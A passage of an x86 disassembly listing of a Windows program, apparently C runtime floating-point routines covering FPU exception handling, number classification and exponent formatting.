		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2670DBEh
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
